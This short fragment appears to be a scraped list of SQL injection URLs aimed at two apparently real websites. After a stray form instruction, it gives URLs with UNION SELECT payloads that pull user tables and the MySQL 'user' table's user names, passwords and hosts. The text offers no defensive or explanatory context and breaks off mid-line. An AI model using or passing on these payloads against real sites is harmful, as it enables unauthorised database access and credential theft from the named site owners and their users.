Separate names with a comma.
http://www.mysql-hispano.org/page.php?id=3+UNION+SELECT+1,2,3,4,5+from+hispano.users/*
http://baltbay.com/index.php?bloks=2&sad=13+union+select+user,2,3,password,host,6,7,8,9,10,11,12,13+from+mysql.user/*...
